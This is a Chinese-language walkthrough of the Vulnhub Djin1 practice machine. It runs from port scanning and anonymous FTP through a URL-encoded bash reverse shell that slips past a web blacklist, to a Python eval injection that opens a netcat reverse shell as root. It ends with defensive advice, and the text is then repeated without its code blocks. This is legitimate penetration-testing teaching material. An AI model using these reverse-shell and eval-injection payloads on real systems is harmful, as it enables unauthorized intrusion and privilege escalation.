OSCP渗透靶场之Vulnhub-Djin1
字数 1341 2025-08-10 23:42:01

Vulnhub-Djin1 渗透测试教学文档

靶机概述

Djin1 是 Vulnhub 上一个中等偏上难度的靶机,主要围绕黑名单绕过技术进行练习。本靶机涉及 FTP 匿名登录、Web 应用漏洞利用、Python 沙盒逃逸等多个渗透测试知识点。

环境准备

  • 攻击机:Kali Linux
  • 靶机:Djin1 (IP: 192.168.56.103)
  • 工具:Nmap、Telnet、Gobuster、Netcat

渗透测试过程

0x01 信息收集

1. 端口扫描

使用 Nmap 进行全面扫描:

nmap -sC -sV -p- -v -A 192.168.56.103

扫描结果:

  • 21/tcp: FTP (vsftpd 3.0.3),允许匿名登录
  • 22/tcp: SSH
  • 1337/tcp: 数学游戏服务
  • 7331/tcp: HTTP (Werkzeug httpd 0.16.0, Python 2.7.15+)

2. FTP 匿名登录

ftp 192.168.56.103

匿名登录后下载文件:

get creds.txt
get game.txt
get message.txt

检查文件内容:

  • creds.txt: 无敏感信息
  • game.txt: 无敏感信息
  • message.txt: 无敏感信息

3. 1337 端口分析

使用 Telnet 连接:

telnet 192.168.56.103 1337

发现是一个数学游戏,需要正确回答1000次才能获得奖励。

4. Web 目录扫描

对 http://192.168.56.103:7331 进行目录扫描:

gobuster dir -u http://192.168.56.103:7331 -w /path/to/wordlist.txt

发现可用路径:

  • /wish
  • /genie

0x02 初始访问

1. 绕过黑名单限制

在 /wish 页面尝试输入命令时遇到 403 错误,说明有安全限制。

构造反弹 shell 命令并进行 URL 编码:
原始命令:

bash -i >& /dev/tcp/192.168.56.102/6677 0>&1

URL 编码后提交,成功获取反弹 shell。

2. 用户信息收集

在目标系统中发现 app.py 文件,包含凭据:

nitish/p4ssw0rdStr3r0n9

使用该凭据登录 nitish 用户:

su nitish

检查 sudo 权限:

sudo -l

输出显示 nitish 可以以 sam 用户身份无需密码执行 /user/bin/genie。

尝试以 sam 身份执行 genie:

sudo -u sam /user/bin/genie -h

但未发现可利用的功能。

0x03 权限提升

1. Python 沙盒逃逸漏洞

分析 app.py 发现数学游戏存在漏洞:

  • 程序没有对输入进行充分过滤
  • 可以执行 Python 代码

测试漏洞:

eval('__import__("os").system("id")')

发现以 root 权限执行成功。

2. 构造反弹 shell

构建 Python 反弹 shell 代码:

eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.102 666 >/tmp/f")')

在数学游戏中提交该代码,成功获取 root 权限的 shell。

技术要点总结

  1. FTP 匿名登录:检查常见服务是否配置不当
  2. 黑名单绕过:通过编码技术绕过安全限制
  3. 凭证发现:在配置文件中查找敏感信息
  4. Python 沙盒逃逸:利用不安全的 eval() 函数执行任意代码
  5. 权限提升:从普通用户到 root 的完整提权路径

防御建议

  1. 禁用 FTP 匿名登录
  2. 对用户输入进行严格过滤和验证
  3. 避免使用 eval() 等危险函数
  4. 实施最小权限原则
  5. 定期审计系统配置和权限设置

扩展练习

  1. 尝试使用其他编码方式绕过黑名单
  2. 探索不使用 Python 沙盒逃逸的其他提权方法
  3. 分析数学游戏服务的源代码,寻找其他潜在漏洞
  4. 尝试通过 SSH 使用获取的凭据登录

通过本靶机的练习,可以掌握黑名单绕过、服务枚举、凭证发现和沙盒逃逸等渗透测试核心技术。

Vulnhub-Djin1 渗透测试教学文档 靶机概述 Djin1 是 Vulnhub 上一个中等偏上难度的靶机,主要围绕黑名单绕过技术进行练习。本靶机涉及 FTP 匿名登录、Web 应用漏洞利用、Python 沙盒逃逸等多个渗透测试知识点。 环境准备 攻击机:Kali Linux 靶机:Djin1 (IP: 192.168.56.103) 工具:Nmap、Telnet、Gobuster、Netcat 渗透测试过程 0x01 信息收集 1. 端口扫描 使用 Nmap 进行全面扫描: 扫描结果: 21/tcp: FTP (vsftpd 3.0.3),允许匿名登录 22/tcp: SSH 1337/tcp: 数学游戏服务 7331/tcp: HTTP (Werkzeug httpd 0.16.0, Python 2.7.15+) 2. FTP 匿名登录 匿名登录后下载文件: 检查文件内容: creds.txt: 无敏感信息 game.txt: 无敏感信息 message.txt: 无敏感信息 3. 1337 端口分析 使用 Telnet 连接: 发现是一个数学游戏,需要正确回答1000次才能获得奖励。 4. Web 目录扫描 对 http://192.168.56.103:7331 进行目录扫描: 发现可用路径: /wish /genie 0x02 初始访问 1. 绕过黑名单限制 在 /wish 页面尝试输入命令时遇到 403 错误,说明有安全限制。 构造反弹 shell 命令并进行 URL 编码: 原始命令: URL 编码后提交,成功获取反弹 shell。 2. 用户信息收集 在目标系统中发现 app.py 文件,包含凭据: 使用该凭据登录 nitish 用户: 检查 sudo 权限: 输出显示 nitish 可以以 sam 用户身份无需密码执行 /user/bin/genie。 尝试以 sam 身份执行 genie: 但未发现可利用的功能。 0x03 权限提升 1. Python 沙盒逃逸漏洞 分析 app.py 发现数学游戏存在漏洞: 程序没有对输入进行充分过滤 可以执行 Python 代码 测试漏洞: 发现以 root 权限执行成功。 2. 构造反弹 shell 构建 Python 反弹 shell 代码: 在数学游戏中提交该代码,成功获取 root 权限的 shell。 技术要点总结 FTP 匿名登录 :检查常见服务是否配置不当 黑名单绕过 :通过编码技术绕过安全限制 凭证发现 :在配置文件中查找敏感信息 Python 沙盒逃逸 :利用不安全的 eval() 函数执行任意代码 权限提升 :从普通用户到 root 的完整提权路径 防御建议 禁用 FTP 匿名登录 对用户输入进行严格过滤和验证 避免使用 eval() 等危险函数 实施最小权限原则 定期审计系统配置和权限设置 扩展练习 尝试使用其他编码方式绕过黑名单 探索不使用 Python 沙盒逃逸的其他提权方法 分析数学游戏服务的源代码,寻找其他潜在漏洞 尝试通过 SSH 使用获取的凭据登录 通过本靶机的练习,可以掌握黑名单绕过、服务枚举、凭证发现和沙盒逃逸等渗透测试核心技术。